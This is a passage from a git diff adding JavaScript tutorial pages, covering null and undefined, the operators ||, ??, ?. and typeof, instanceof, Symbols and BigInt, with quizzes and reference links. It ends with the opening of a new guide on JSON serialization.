distinction matters for writing clear, intentional code. + +--- + +## null vs undefined: The Two Kinds of "Nothing" + +JavaScript is unique among programming languages in having two representations for "no value." Understanding when JavaScript uses each helps you write more predictable code. + +### When JavaScript Returns undefined + +JavaScript returns [`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined) automatically in these situations: + +```javascript +// 1. Variables declared but not initialized +let name +console.log(name) // undefined + +// 2. Missing object properties +const user = { name: 'Alice' } +console.log(user.age) // undefined + +// 3. Functions that don't return anything +function greet() { + console.log('Hello!') + // no return statement +} +console.log(greet()) // undefined + +// 4. Missing function parameters +function sayHi(name) { + console.log(name) +} +sayHi() // undefined + +// 5. Array holes +const sparse = [1, , 3] +console.log(sparse[1]) // undefined +``` + +### When to Use null + +Use [`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null) when you want to explicitly indicate "no value" or "empty": + +```javascript +// 1. Intentionally clearing a value +let currentUser = { name: 'Alice' } +currentUser = null // User logged out + +// 2. API responses for missing data +const response = { + user: null, // User not found, but the field exists + error: null // No error occurred +} + +// 3. DOM methods that find nothing +document.querySelector('.nonexistent') // null + +// 4. End of prototype chain +Object.getPrototypeOf(Object.prototype) // null + +// 5. Optional parameters with default values +function createUser(name, email = null) { + return { name, email } // email is explicitly optional +} +``` + +### Comparing null and undefined + +Here's how these values behave in different contexts: + +| Operation | `null` | `undefined` | +|-----------|--------|-------------| +| `typeof` | `'object'` (bug!) | `'undefined'` | +| `== null` | `true` | `true` | +| `=== null` | `true` | `false` | +| `Boolean()` | `false` | `false` | +| `Number()` | `0` | `NaN` | +| `String()` | `'null'` | `'undefined'` | +| `JSON.stringify()` | `null` | omitted | + +```javascript +// The equality quirk +null == undefined // true (loose equality) +null === undefined // false (strict equality) + +// Type checking differences +typeof null // 'object' — historical bug! +typeof undefined // 'undefined' + +// Numeric coercion +null + 1 // 1 (null becomes 0) +undefined + 1 // NaN (undefined becomes NaN) + +// JSON serialization +JSON.stringify({ a: null, b: undefined }) +// '{"a":null}' — undefined properties are skipped! +``` + +### Checking for Both + +To check if a value is either `null` or `undefined`, you have several options: + +```javascript +const value = getSomeValue() + +// Option 1: Loose equality (catches both null and undefined) +if (value == null) { + console.log('No value') +} + +// Option 2: Explicit check +if (value === null || value === undefined) { + console.log('No value') +} + +// Option 3: Nullish coalescing for defaults +const result = value ?? 'default' // Only triggers for null/undefined +``` + +<Tip> +**Quick Rule:** Use `== null` to check for both `null` and `undefined` in one shot. This is one of the few cases where loose equality is preferred over strict equality. +</Tip> + +--- + +## Short-Circuit Evaluation: && || ?? and ?. + +JavaScript's logical operators don't just return `true` or `false`. They return the actual value that determined the result. Understanding this unlocks powerful patterns. + +### Logical OR (||) — First Truthy Value + +The [`||`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR) operator returns the first [truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) value, or the last value if none are truthy: + +```javascript +// Returns the first truthy value +'hello' || 'default' // 'hello' +'' || 'default' // 'default' (empty string is falsy) +0 || 42 // 42 (0 is falsy!) +null || 'fallback' // 'fallback' +undefined || 'fallback' // 'fallback' + +// Common pattern: default values +const username = user.name || 'Anonymous' +const port = config.port || 3000 +``` + +The problem with `||` is it treats **all falsy values** as triggers for the fallback: + +```javascript +// Falsy values: false, 0, '', null, undefined, NaN + +// This might not do what you want! +const count = userCount || 10 // If userCount is 0, you get 10! +const name = userName || 'Guest' // If userName is '', you get 'Guest'! +``` + +### Logical AND (&&) — First Falsy Value + +The [`&&`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND) operator returns the first falsy value, or the last value if all are truthy: + +```javascript +// Returns the first falsy value +true && 'hello' // 'hello' (both truthy, returns last) +'hello' && 42 // 42 +null && 'hello' // null (first falsy) +0 && 'hello' // 0 (first falsy) + +// Common pattern: conditional execution +user && user.name // Only access name if user exists +isAdmin && deleteButton.show() // Only call if isAdmin is truthy +``` + +### Nullish Coalescing (??) — Only null/undefined + +The [`??`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) operator is the modern solution. It only falls back when the left side is `null` or `undefined`: + +```javascript +// Only null and undefined trigger the fallback +0 ?? 42 // 0 (0 is NOT nullish!) +'' ?? 'default' // '' (empty string is NOT nullish!) +false ?? true // false +null ?? 'fallback' // 'fallback' +undefined ?? 'fallback' // 'fallback' + +// Now you can safely use 0 and '' as valid values +const count = userCount ?? 10 // 0 stays as 0 +const name = userName ?? 'Guest' // '' stays as '' +``` + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ || vs ?? COMPARISON │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ EXPRESSION || ?? │ +│ ────────── ── ── │ +│ │ +│ 0 || 42 42 0 │ +│ '' || 'default' 'default' '' │ +│ false || true true false │ +│ NaN || 0 0 NaN │ +│ null || 'fallback' 'fallback' 'fallback' │ +│ undefined || 'fallback' 'fallback' 'fallback' │ +│ │ +│ KEY DIFFERENCE: │ +│ || triggers on ANY falsy value (false, 0, '', null, undefined, NaN) │ +│ ?? triggers ONLY on null or undefined │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +<Warning> +**Heads up:** You cannot mix `??` with `&&` or `||` without parentheses. JavaScript throws a `SyntaxError` to prevent ambiguity: + +```javascript +// ❌ SyntaxError +null || undefined ?? 'default' + +// ✓ Use parentheses to clarify intent +(null || undefined) ?? 'default' // 'default' +null || (undefined ?? 'default') // 'default' +``` +</Warning> + +### Optional Chaining (?.) — Safe Property Access + +The [`?.`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) operator stops evaluation if the left side is `null` or `undefined`, returning `undefined` instead of throwing an error: + +```javascript +const user = { + name: 'Alice', + address: { + city: 'Wonderland' + } +} + +// Without optional chaining — verbose and error-prone +const city = user && user.address && user.address.city + +// With optional chaining — clean and safe +const city = user?.address?.city // 'Wonderland' + +// Works with missing properties +const nullUser = null +nullUser?.name // undefined (no error!) +nullUser?.address?.city // undefined (no error!) + +// Works with arrays +const users = [{ name: 'Alice' }] +users?.[0]?.name // 'Alice' +users?.[99]?.name // undefined + +// Works with function calls +const api = { + getUser: () => ({ name: 'Alice' }) +} +api.getUser?.() // { name: 'Alice' } +api.nonexistent?.() // undefined (no error!) +``` + +### Combining ?? and ?. + +These operators work beautifully together: + +```javascript +// Get deeply nested value with a default +const theme = user?.settings?.theme ?? 'light' + +// Safe function call with default return +const result = api.getData?.() ?? [] + +// Real-world example: configuration +const config = { + api: { + // timeout might be intentionally set to 0 + } +} + +const timeout = config?.api?.timeout ?? 5000 // 5000 (no timeout set) + +// If timeout was 0: +config.api.timeout = 0 +const timeout2 = config?.api?.timeout ?? 5000 // 0 (respects the explicit 0) +``` + +--- + +## The typeof Operator and Its Quirks + +The [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator returns a string indicating the type of a value. It's useful, but has some surprising behaviors. + +### Basic Usage + +```javascript +// Primitives +typeof 'hello' // 'string' +typeof 42 // 'number' +typeof 42n // 'bigint' +typeof true // 'boolean' +typeof undefined // 'undefined' +typeof Symbol('id') // 'symbol' + +// Objects and functions +typeof {} // 'object' +typeof [] // 'object' (arrays are objects!) +typeof new Date() // 'object' +typeof /regex/ // 'object' +typeof function(){} // 'function' (special case) +typeof class {} // 'function' (classes are functions) +``` + +### The typeof null Bug + +This is JavaScript's most famous quirk: + +```javascript +typeof null // 'object' — NOT 'null'! +``` + +This is a bug from the first version of JavaScript in 1995. In the original implementation, values were stored with a type tag. Objects had a type tag of `0`. `null` was represented as the NULL pointer (`0x00`), which also had a type tag of `0`. So `typeof null` returned `'object'`. + +Fixing this bug would break too much existing code, so it remains. To properly check for `null`: + +```javascript +// ❌ Wrong — typeof doesn't work for null +if (typeof value === 'null') { } // Never true! + +// ✓ Correct — direct comparison +if (value === null) { } + +// ✓ Also correct — check both null and undefined +if (value == null) { } +``` + +### typeof with Undeclared Variables + +Unlike most operations, `typeof` doesn't throw an error for undeclared variables: + +```javascript +// This would throw ReferenceError +console.log(undeclaredVar) // ReferenceError: undeclaredVar is not defined + +// But typeof returns 'undefined' safely +typeof undeclaredVar // 'undefined' + +// Useful for feature detection +if (typeof window !== 'undefined') { + // Running in a browser +} + +if (typeof process !== 'undefined') { + // Running in Node.js +} +``` + +### typeof with the Temporal Dead Zone + +However, `typeof` does throw for `let`/`const` variables accessed before declaration: + +```javascript +// let and const create a Temporal Dead Zone (TDZ) +console.log(typeof myVar) // ReferenceError! +let myVar = 'hello' + +// This is because the variable exists but isn't initialized yet +// See the Temporal Dead Zone guide for more details +``` + +### Complete typeof Return Values + +| Value | `typeof` Result | +|-------|-----------------| +| `undefined` | `'undefined'` | +| `null` | `'object'` (bug) | +| `true` / `false` | `'boolean'` | +| Any number | `'number'` | +| Any BigInt | `'bigint'` | +| Any string | `'string'` | +| Any Symbol | `'symbol'` | +| Any function | `'function'` | +| Any other object | `'object'` | + +### Better Type Checking + +For more precise type checking, use these patterns: + +```javascript +// Check for array +Array.isArray([1, 2, 3]) // true +Array.isArray('hello') // false + +// Check for null specifically +value === null + +// Check for plain objects +Object.prototype.toString.call({}) // '[object Object]' +Object.prototype.toString.call([]) // '[object Array]' +Object.prototype.toString.call(null) // '[object Null]' +Object.prototype.toString.call(undefined) // '[object Undefined]' +Object.prototype.toString.call(new Date()) // '[object Date]' + +// Helper function for precise type checking +function getType(value) { + return Object.prototype.toString.call(value).slice(8, -1).toLowerCase() +} + +getType(null) // 'null' +getType([]) // 'array' +getType({}) // 'object' +getType(new Date()) // 'date' +getType(/regex/) // 'regexp' +``` + +--- + +## instanceof and Symbol.hasInstance + +While `typeof` checks primitive types, [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) checks if an object was created by a specific constructor or class. + +### How instanceof Works + +```javascript +class Animal {} +class Dog extends Animal {} + +const buddy = new Dog() + +buddy instanceof Dog // true +buddy instanceof Animal // true (inheritance chain) +buddy instanceof Object // true (everything inherits from Object) +buddy instanceof Array // false + +// Works with built-in constructors too +[] instanceof Array // true +{} instanceof Object // true +new Date() instanceof Date // true +/regex/ instanceof RegExp // true + +// But not with primitives! +'hello' instanceof String // false (primitive, not String object) +42 instanceof Number // false (primitive, not Number object) +``` + +### instanceof Checks the Prototype Chain + +`instanceof` works by checking if the constructor's `prototype` property exists anywhere in the object's prototype chain: + +```javascript +class Animal { + speak() { return 'Some sound' } +} + +class Dog extends Animal { + speak() { return 'Woof!' } +} + +const buddy = new Dog() + +// instanceof checks if Dog.prototype is in buddy's chain +Dog.prototype.isPrototypeOf(buddy) // true +Animal.prototype.isPrototypeOf(buddy) // true + +// You can break instanceof by reassigning prototype +Dog.prototype = {} +buddy instanceof Dog // false now! +``` + +### Customizing instanceof with Symbol.hasInstance + +You can customize how `instanceof` behaves using [`Symbol.hasInstance`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance): + +```javascript +// Custom class that considers any object with a 'quack' method a Duck +class Duck { + static [Symbol.hasInstance](instance) { + return instance?.quack !== undefined + } +} + +const mallard = { quack: () => 'Quack!' } +const dog = { bark: () => 'Woof!' } + +mallard instanceof Duck // true (has quack method) +dog instanceof Duck // false (no quack method) + +// Real-world example: validating data shapes +class ValidUser { + static [Symbol.hasInstance](obj) { + return obj !== null && + typeof obj === 'object' && + typeof obj.id === 'number' && + typeof obj.email === 'string' + } +} + +const user = { id: 1, email: 'alice@example.com' } +const invalid = { name: 'Bob' } + +user instanceof ValidUser // true +invalid instanceof ValidUser // false +``` + +### instanceof vs typeof + +| Check | Use `typeof` | Use `instanceof` | +|-------|-------------|------------------| +| Is it a string? | `typeof x === 'string'` | ❌ (primitives fail) | +| Is it a number? | `typeof x === 'number'` | ❌ (primitives fail) | +| Is it an array? | ❌ (returns 'object') | `x instanceof Array` or `Array.isArray(x)` | +| Is it a Date? | ❌ (returns 'object') | `x instanceof Date` | +| Is it a custom class? | ❌ | `x instanceof MyClass` | + +--- + +## Symbols: Unique Identifiers + +[`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) is a primitive type that creates guaranteed unique identifiers. Every `Symbol()` call creates a new, unique value. + +### Creating Symbols + +```javascript +// Create symbols with optional descriptions +const id = Symbol('id') +const anotherId = Symbol('id') + +// Every symbol is unique! +id === anotherId // false (different symbols) +id === id // true (same symbol) + +// The description is just for debugging +console.log(id) // Symbol(id) +console.log(id.description) // 'id' +``` + +### Using Symbols as Object Keys + +Symbols solve the problem of property name collisions: + +```javascript +// Problem: property name collision +const user = { + id: 123, + name: 'Alice' +} + +// A library might want to add its own 'id' — collision! +user.id = 'library-internal-id' // Oops, overwrote the user's id! + +// Solution: use a Symbol +const internalId = Symbol('internal-id') +user[internalId] = 'library-internal-id' + +console.log(user.id) // 123 (original preserved) +console.log(user[internalId]) // 'library-internal-id' + +// Symbols are hidden from normal iteration +Object.keys(user) // ['id', 'name'] — no symbol! +JSON.stringify(user) // '{"id":123,"name":"Alice"}' — no symbol! + +// But you can still access them +Object.getOwnPropertySymbols(user) // [Symbol(internal-id)] +``` + +### Global Symbol Registry + +Use `Symbol.for()` to create symbols that can be shared across files or even iframes: + +```javascript +// Create or retrieve a global symbol +const globalId = Symbol.for('app.userId') + +// Same key returns the same symbol +const sameId = Symbol.for('app.userId') +globalId === sameId // true + +// Get the key from a global symbol +Symbol.keyFor(globalId) // 'app.userId' + +// Regular symbols aren't in the registry +const localId = Symbol('local') +Symbol.keyFor(localId) // undefined +``` + +### Well-Known Symbols + +JavaScript has built-in symbols that let you customize object behavior: + +```javascript +// Symbol.iterator — make objects iterable +const range = { + start: 1, + end: 5, + [Symbol.iterator]() { + let current = this.start + const end = this.end + return { + next() { + if (current <= end) { + return { value: current++, done: false } + } + return { done: true } + } + } + } +} + +for (const num of range) { + console.log(num) // 1, 2, 3, 4, 5 +} + +// Symbol.toStringTag — customize Object.prototype.toString +class MyClass { + get [Symbol.toStringTag]() { + return 'MyClass' + } +} + +Object.prototype.toString.call(new MyClass()) // '[object MyClass]' + +// Symbol.toPrimitive — customize type conversion +const money = { + amount: 100, + currency: 'USD', + [Symbol.toPrimitive](hint) { + if (hint === 'number') return this.amount + if (hint === 'string') return `${this.currency} ${this.amount}` + return this.amount + } +} + ++money // 100 (hint: 'number') +`${money}` // 'USD 100' (hint: 'string') +``` + +### Common Well-Known Symbols + +| Symbol | Purpose | +|--------|---------| +| `Symbol.iterator` | Define how to iterate over an object | +| `Symbol.asyncIterator` | Define async iteration | +| `Symbol.toStringTag` | Customize `[object X]` output | +| `Symbol.toPrimitive` | Customize type conversion | +| `Symbol.hasInstance` | Customize `instanceof` behavior | +| `Symbol.isConcatSpreadable` | Control `Array.concat` spreading | + +--- + +## BigInt: Numbers Beyond the Limit + +Regular JavaScript numbers have a precision limit. [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) lets you work with integers of any size. + +### The Precision Problem + +```javascript +// JavaScript numbers are 64-bit floating point +// They can only safely represent integers up to 2^53 - 1 + +console.log(Number.MAX_SAFE_INTEGER) // 9007199254740991 + +// Beyond this, precision is lost +9007199254740992 === 9007199254740993 // true! (they're the same to JS) + +// This causes real problems +const twitterId = 9007199254740993 +console.log(twitterId) // 9007199254740992 — wrong! +``` + +### Creating BigInt Values + +```javascript +// Add 'n' suffix to number literals +const big = 9007199254740993n +console.log(big) // 9007199254740993n — correct! + +// Or use the BigInt() function +const alsoBig = BigInt('9007199254740993') +const fromNumber = BigInt(42) // Only safe for integers within safe range + +// BigInt preserves precision +9007199254740992n === 9007199254740993n // false (correctly different!) +``` + +### BigInt Operations + +```javascript +const a = 10n +const b = 3n + +// Arithmetic works as expected +a + b // 13n +a - b // 7n +a * b // 30n +a ** b // 1000n + +// Division truncates (no decimals) +a / b // 3n (not 3.333...) + +// Remainder +a % b // 1n + +// Comparison +a > b // true +a === 10n // true +``` + +### BigInt Limitations + +```javascript +// ❌ Cannot mix BigInt and Number in operations +10n + 5 // TypeError: Cannot mix BigInt and other types + +// ✓ Convert explicitly +10n + BigInt(5) // 15n +Number(10n) + 5 // 15 (but may lose precision for large values!) + +// ❌ Cannot use with Math methods +Math.max(1n, 2n) // TypeError + +// ✓ Compare using > < instead +1n > 2n ? 1n : 2n // 2n + +// ❌ Cannot use unary + ++10n // TypeError + +// ✓ Use Number() or just use the value +Number(10n) // 10 + +// BigInt in JSON +JSON.stringify({ id: 10n }) // TypeError: BigInt value can't be serialized + +// ✓ Convert to string first +JSON.stringify({ id: 10n.toString() }) // '{"id":"10"}' +``` + +### When to Use BigInt + +```javascript +// 1. Working with large IDs (Twitter, Discord, etc.) +const tweetId = 1234567890123456789n + +// 2. Cryptographic operations +const largeKey = 2n ** 256n + +// 3. Financial calculations requiring exact integers +// (though for money, usually use integers in cents, not BigInt) +const worldDebt = 300_000_000_000_000n // $300 trillion in dollars + +// 4. When you need arbitrary precision +function factorial(n) { + if (n <= 1n) return 1n + return n * factorial(n - 1n) +} +factorial(100n) // Huge number, no precision loss! +``` + +<Note> +**When NOT to use BigInt:** For normal integer operations within JavaScript's safe range (±9 quadrillion), regular numbers are faster and more convenient. Only reach for BigInt when you actually need values beyond `Number.MAX_SAFE_INTEGER`. +</Note> + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="Using || when you need ??"> + The `||` operator treats `0`, `''`, and `false` as falsy, which might not be what you want: + + ```javascript + // ❌ Wrong — loses valid values + const count = userCount || 10 // If userCount is 0, you get 10! + const name = userName || 'Guest' // If userName is '', you get 'Guest'! + + // ✓ Correct — only fallback on null/undefined + const count = userCount ?? 10 // 0 stays as 0 + const name = userName ?? 'Guest' // '' stays as '' + ``` + </Accordion> + + <Accordion title="Using typeof to check for null"> + `typeof null` returns `'object'`, not `'null'`: + + ```javascript + // ❌ Wrong — never works + if (typeof value === 'null') { + // This block never executes! + } + + // ✓ Correct — direct comparison + if (value === null) { + // This works + } + ``` + </Accordion> + + <Accordion title="Mixing BigInt and Number in operations"> + You can't use `+`, `-`, `*`, `/` between BigInt and Number: + + ```javascript + // ❌ TypeError + 10n + 5 + BigInt(10) * 3 + + // ✓ Convert to the same type first + 10n + BigInt(5) // 15n + Number(10n) + 5 // 15 + ``` + </Accordion> + + <Accordion title="Expecting instanceof to work with primitives"> + `instanceof` checks the prototype chain, which primitives don't have: + + ```javascript + // ❌ Always false for primitives + 'hello' instanceof String // false + 42 instanceof Number // false + + // ✓ Use typeof for primitives + typeof 'hello' === 'string' // true + typeof 42 === 'number' // true + ``` + </Accordion> + + <Accordion title="Not handling both null and undefined"> + When checking for missing values, remember there are two: + + ```javascript + // ❌ Incomplete — misses undefined + if (value === null) { + return 'No value' + } + + // ✓ Complete — handles both + if (value == null) { // Loose equality catches both + return 'No value' + } + + // ✓ Also complete + if (value === null || value === undefined) { + return 'No value' + } + ``` + </Accordion> + + <Accordion title="Forgetting Symbol properties are hidden"> + Symbol-keyed properties don't show up in normal iteration: + + ```javascript + const secret = Symbol('secret') + const obj = { + visible: 'hello', + [secret]: 'hidden' + } + + // ❌ Symbol properties are invisible here + Object.keys(obj) // ['visible'] + JSON.stringify(obj) // '{"visible":"hello"}' + for (const key in obj) // Only 'visible' + + // ✓ Use these to access Symbol properties + Object.getOwnPropertySymbols(obj) // [Symbol(secret)] + Reflect.ownKeys(obj) // ['visible', Symbol(secret)] + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about JavaScript type nuances:** + +1. **undefined means uninitialized, null means intentionally empty** — JavaScript returns `undefined` automatically; use `null` to explicitly indicate "no value" + +2. **typeof null === 'object' is a bug** — It's a historical quirk that can't be fixed. Use `value === null` for null checks + +3. **Use ?? instead of || for defaults** — Nullish coalescing (`??`) only triggers on `null`/`undefined`, preserving valid values like `0` and `''` + +4. **Optional chaining (?.) prevents TypeError** — It short-circuits to `undefined` instead of throwing when accessing properties on null/undefined + +5. **Symbols are guaranteed unique** — Every `Symbol()` call creates a new unique value, solving property name collision problems + +6. **Well-known symbols customize object behavior** — `Symbol.iterator`, `Symbol.hasInstance`, and others let you hook into JavaScript's built-in operations + +7. **instanceof checks the prototype chain** — It tests if a constructor's prototype exists in an object's chain, not the object's type + +8. **BigInt handles integers beyond 2^53** — Use the `n` suffix or `BigInt()` for numbers larger than `Number.MAX_SAFE_INTEGER` + +9. **BigInt and Number don't mix** — Convert explicitly with `BigInt()` or `Number()` before combining them + +10. **Use == null to check for both null and undefined** — This is the one case where loose equality is preferred +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the difference between null and undefined?"> + **Answer:** + + `undefined` means a variable exists but hasn't been assigned a value. JavaScript uses it automatically for uninitialized variables, missing object properties, and functions without return statements. + + `null` is an explicit assignment meaning "intentionally empty" or "no value." Developers use it to indicate that a variable should have no value. + + ```javascript + let x // undefined (uninitialized) + let y = null // null (intentionally empty) + + typeof x // 'undefined' + typeof y // 'object' (bug!) + + x == y // true (loose equality) + x === y // false (strict equality) + ``` + </Accordion> + + <Accordion title="Question 2: What's the output of these expressions?"> + ```javascript + 0 || 'fallback' + 0 ?? 'fallback' + '' || 'fallback' + '' ?? 'fallback' + ``` + + **Answer:** + + ```javascript + 0 || 'fallback' // 'fallback' — 0 is falsy + 0 ?? 'fallback' // 0 — 0 is not nullish + '' || 'fallback' // 'fallback' — '' is falsy + '' ?? 'fallback' // '' — '' is not nullish + ``` + + `||` triggers on any falsy value (`false`, `0`, `''`, `null`, `undefined`, `NaN`). + `??` only triggers on `null` or `undefined`. + </Accordion> + + <Accordion title="Question 3: Why does typeof null return 'object'?"> + **Answer:** + + It's a bug from the first version of JavaScript in 1995. In the original implementation, values were stored with a type tag. Objects had type tag `0`. `null` was represented as the NULL pointer (`0x00`), which also had type tag `0`. So `typeof null` returned `'object'`. + + This bug can never be fixed because it would break too much existing code. To check for `null`, use `value === null` instead. + </Accordion> + + <Accordion title="Question 4: How would you check if a value is null OR undefined in one condition?"> + **Answer:** + + Use loose equality with `null`: + + ```javascript + // This catches both null and undefined + if (value == null) { + console.log('No value') + } + + // This is equivalent but more verbose + if (value === null || value === undefined) { + console.log('No value') + } + ``` + + Loose equality (`==`) treats `null` and `undefined` as equal to each other (and nothing else), making it perfect for this use case. + </Accordion> + + <Accordion title="Question 5: What's the difference between Symbol('id') and Symbol.for('id')?"> + **Answer:** + + `Symbol('id')` creates a new unique symbol every time. Two calls with the same description still produce different symbols: + + ```javascript + Symbol('id') === Symbol('id') // false + ``` + + `Symbol.for('id')` creates a symbol in the global registry. Subsequent calls with the same key return the same symbol: + + ```javascript + Symbol.for('id') === Symbol.for('id') // true + ``` + + Use `Symbol()` for private, local symbols. Use `Symbol.for()` when you need to share a symbol across different parts of your code or even different iframes. + </Accordion> + + <Accordion title="Question 6: Why can't you do 10n + 5 in JavaScript?"> + **Answer:** + + JavaScript doesn't allow mixing BigInt and Number in arithmetic operations. This is a deliberate design choice to prevent accidental precision loss: + + ```javascript + 10n + 5 // TypeError: Cannot mix BigInt and other types + ``` + + To fix it, convert to the same type first: + + ```javascript + 10n + BigInt(5) // 15n + Number(10n) + 5 // 15 + ``` + + Be careful with `Number()` conversion. For very large BigInt values, you'll lose precision because Number can only safely represent integers up to 2^53 - 1. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Primitive Types" icon="cube" href="/concepts/primitive-types"> + The foundation for understanding JavaScript's seven primitive types + </Card> + <Card title="Type Coercion" icon="shuffle" href="/concepts/type-coercion"> + How JavaScript converts between types automatically + </Card> + <Card title="Equality Operators" icon="equals" href="/concepts/equality-operators"> + The difference between == and === and when to use each + </Card> + <Card title="Temporal Dead Zone" icon="clock" href="/beyond/concepts/temporal-dead-zone"> + Why typeof throws for let/const before declaration + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="null — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null"> + Official documentation for the null primitive value + </Card> + <Card title="undefined — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"> + Reference for the undefined global property + </Card> + <Card title="typeof — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof"> + Complete reference for the typeof operator and its return values + </Card> + <Card title="Nullish Coalescing (??) — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing"> + Documentation for the nullish coalescing operator + </Card> + <Card title="Optional Chaining (?.) — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining"> + Reference for safe property access with optional chaining + </Card> + <Card title="Symbol — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol"> + Complete guide to the Symbol primitive and well-known symbols + </Card> + <Card title="BigInt — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt"> + Documentation for arbitrary-precision integers in JavaScript + </Card> + <Card title="instanceof — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"> + Reference for the instanceof operator and prototype chain checking + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="JavaScript Data Types — javascript.info" icon="newspaper" href="https://javascript.info/types"> + Comprehensive coverage of all JavaScript types including null, undefined, and Symbol. Includes interactive exercises to test understanding. + </Card> + <Card title="The History of typeof null — Dr. Axel Rauschmayer" icon="newspaper" href="https://2ality.com/2013/10/typeof-null.html"> + Deep dive into why typeof null returns 'object'. Explains the original JavaScript implementation and why this bug can never be fixed. + </Card> + <Card title="ES2020 Nullish Coalescing and Optional Chaining — V8 Blog" icon="newspaper" href="https://v8.dev/features/nullish-coalescing"> + Official V8 blog explaining the rationale behind ?? and ?. operators. Includes performance considerations and edge cases. + </Card> + <Card title="JavaScript Symbols — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/understanding-javascript-symbols/"> + Practical introduction to Symbols with real-world use cases. Great for understanding when and why you'd actually use Symbols in production. + </Card> + <Card title="BigInt: Arbitrary Precision Integers — javascript.info" icon="newspaper" href="https://javascript.info/bigint"> + Clear tutorial on BigInt covering creation, operations, and common pitfalls. Includes comparison with regular numbers and conversion gotchas. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Symbols in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=XTHuXLJlJSQ"> + Quick, entertaining overview of what Symbols are and why they exist. Perfect starting point before diving deeper. + </Card> + <Card title="null vs undefined — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=qTGbWfEfJBw"> + Beginner-friendly explanation of the differences between null and undefined. Covers when JavaScript uses each and best practices. + </Card> + <Card title="Optional Chaining and Nullish Coalescing — Fireship" icon="video" href="https://www.youtube.com/watch?v=v2tJ3nzXh8I"> + Fast-paced tutorial on ?. and ?? operators. Shows practical patterns and how they solve real problems in modern JavaScript. + </Card> + <Card title="JavaScript typeof Operator — Programming with Mosh" icon="video" href="https://www.youtube.com/watch?v=FSs_JYwnAdI"> + Clear walkthrough of typeof behavior including quirks and best practices. Good for understanding type checking in JavaScript. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/json-deep-dive.mdx b/docs/beyond/concepts/json-deep-dive.mdx new file mode 100644 index 00000000..1223f046 --- /dev/null +++ b/docs/beyond/concepts/json-deep-dive.mdx @@ -0,0 +1,1034 @@ +--- +title: "JSON Deep Dive: Advanced Serialization in JavaScript" +sidebarTitle: "JSON: Beyond Parse and Stringify" +description: "Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, circular reference handling, and custom toJSON methods." +--- + +How do you filter sensitive data when sending objects to an API? How do you revive Date objects from a JSON string? What happens when you try to stringify an object with circular references? + +```javascript +// Filter sensitive data during serialization +const user = { name: 'Alice', password: 'secret123', role: 'admin' } + +const safeJSON = JSON.stringify(user, (key, value) => { + if (key === 'password') return undefined // Excluded from output + return value +}) + +console.log(safeJSON) // '{"name":"Alice","role":"admin"}' +``` + +These are everyday challenges when working with **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** in JavaScript. While `JSON.parse()` and `JSON.stringify()` seem simple, they have powerful features most developers never discover. + +<Info> +**What you'll learn in this guide:** +- How replacer functions and arrays work in `JSON.stringify()` +- How reviver functions transform data during `JSON.parse()` +- The custom `toJSON()` method for controlling serialization +- Why circular references throw errors and how to handle them +- Strategies for serializing Dates, Maps, Sets, and BigInt +- The `space` parameter for pretty-printing JSON +- Common pitfalls and edge cases to avoid +</Info> + +<Warning> +**Prerequisites:** This guide assumes you understand basic JavaScript objects and functions. You should be comfortable with [Object Methods](/beyond/concepts/object-methods) and have used `JSON.parse()` and `JSON.stringify()` before. +</Warning> + +--- + +## What is JSON? + +**JSON** (JavaScript Object Notation) is a lightweight text format for storing and exchanging data. It's language-independent but derived from JavaScript syntax. JSON has become the standard format for APIs, configuration files, and data storage across the web. + +```javascript +// JSON is just text that represents data +const jsonString = '{"name":"Alice","age":30,"isAdmin":true}' + +// Parse converts JSON text → JavaScript value +const user = JSON.parse(jsonString) +console.log(user.name) // "Alice" + +// Stringify converts JavaScript value → JSON text +const backToJSON = JSON.stringify(user) +console.log(backToJSON) // '{"name":"Alice","age":30,"isAdmin":true}' 